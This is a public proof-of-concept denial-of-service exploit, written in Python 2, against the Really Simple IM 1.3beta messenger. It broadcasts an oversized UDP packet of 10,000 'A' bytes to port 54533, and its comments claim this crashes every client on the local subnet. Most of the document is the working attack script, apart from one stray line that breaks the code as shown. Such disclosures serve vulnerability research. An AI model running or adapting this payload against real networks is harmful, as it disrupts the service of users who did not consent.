Really Simple IM 1.3beta - Denial of Service (PoC)

#!/usr/bin/python

import socket
import sys

# Bug found: 18th July 2010
# DoS proof of concept
# Found  by: loneferret
# Tested on Windows XP Professional SP2-SP3 & Windows XP Home SP3 

# Really Simple IM verion 1.3 beta
# Software: http://code.google.com/p/reallysimpleim/
# Nods to exploit-db
# I don't want this on injector <- notice the no leet talk.

# This little application uses UDP to & send receive messages.
# It broadcasts everything, and picks up everything
# on port 54533.
# The funny thing with this PoC, it will crash all clients
# in the same subnet. Yup it's that funny. That's the only thing it does too...
# No EIP, no SEH but the buffer is still in memory at the
# moment of the crash. Figured I'd share anyway.


#Commands
# 'p' Connect and adds users to list
# 'a' Disconnect message
# 'b' Send message
# 't' Direct message

host = '192.168.xxx.255'  #Adjust broadcast address to your network
port = 54533

buffer



try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   s.bind((host,0))
   s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
except:
   print "socket() failed"
   sys.exit(1)

da = "p"
da += "W00T" + ("\x41" * 10000)
s.sendto(da, (host, port))